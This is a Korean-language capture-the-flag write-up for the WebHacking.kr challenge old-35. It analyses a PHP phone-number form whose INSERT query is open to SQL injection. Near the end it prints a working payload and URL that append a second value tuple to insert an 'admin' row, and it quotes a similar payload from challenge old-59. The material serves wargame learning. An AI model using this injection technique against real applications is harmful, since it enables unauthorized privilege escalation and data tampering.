Search

WebHacking.kr Challenge old-35

목표 : SQLi Insert Value
전화번호를 추가할 수 있는 창이 있고 추가하니 no hack과 함께 id=guest 인자인 걸 확인할 수 있다.
소스 코드를 보여주니 확인하자.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 35</title> <head> <body> <form method=get action=index.php> phone : <input name=phone size=11 style=width:200px> <input name=id type=hidden value=guest> <input type=submit value='add'> </form> <?php $db = dbconnect(); if($_GET['phone'] && $_GET['id']){ if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); if(strlen($_GET['id']) > 5) exit("no hack"); if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin"); mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error"); echo "Done<br>"; } $isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'")); if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){ solve(35); mysqli_query($db,"delete from chall35"); } $phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'"); echo "<!--\n"; while($r = mysqli_fetch_array($phone_list)){ echo htmlentities($r['id'])." - ".$r['phone']."\n"; } echo "-->\n"; ?> <br><a href=?view_source=1>view-source</a> </body> </html>
PHP
복사
길기에 한 블록씩 살펴보겠다.
$db = dbconnect(); if($_GET['phone'] && $_GET['id']){ if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); if(strlen($_GET['id']) > 5) exit("no hack"); if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin"); mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error"); echo "Done<br>"; }
PHP
복사
phone, id 를 GET 인자로 받는다.
* / = select - # ;phone에 있을 경우 필터링해 no hack을 띄우고 종료한다.
id의 최대 길이는 5자다
admin 으로 id 값에서 admin 이 대소문자 구분 없이 있을 경우 종료한다.
id, 접속자 ip, phone 정보를 DB에 입력한다.
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'")); if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){ solve(35); mysqli_query($db,"delete from chall35"); }
PHP
복사
id가 admin이고 ip가 접속자 ip인 경우의 ip를 DB에서 뽑아 다시 비교하고 맞으면 문제가 풀린다.
그리고 db를 삭제한다
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'"); echo "<!--\n"; while($r = mysqli_fetch_array($phone_list)){ echo htmlentities($r['id'])." - ".$r['phone']."\n"; } echo "-->\n";
PHP
복사
htmlentities - 해당하는 모든 문자를 html 문자로 변환
접속자 ip에 해당하는 모든 id, phone 정보를 주석을 달아 출력한다.
-를 필터링해서 no hack이 뜬 거였다. 그냥 01012345678을 입력하면 Done을 리턴한다.
주석으로 지금까지 입력한 결과가 출력되는걸 볼 수 있다.
id에 들어갈 수 있는 값은 무척이나 한정(최대 5자)되므로 phone을 이용해야한다.
다음 문제와 비슷한 유형이다.
#OLD-59 sql insert into chall59 values('nimda',123,reverse(id))-- ,'guest') # id, phone, lv - lv에 admin을 입력한 경우
SQL
복사
핵심은 아래 값에서 admin을 id에 삽입하는 것이다.
insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})
SQL
복사
* / = select - # ;phone에 있을 경우 필터링해 no hack을 띄우고 종료한다.
,를 필터링하지 않고 역슬래시 \도 붙지 않으므로 한번에 여러 값을 입력하는 방향으로 가자
insert into chall35(id,ip,phone) values(”guest”,123.123.123.123,01012345678),(”admin”,”MYIP”,01099999999)
SQL
복사
https://webhacking.kr/challenge/web-17/index.php?id=guest&phone=0000),(%27admin%27,%27aaa.bbb.ccc.ddd%27,%2701088889999%27
SQL
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.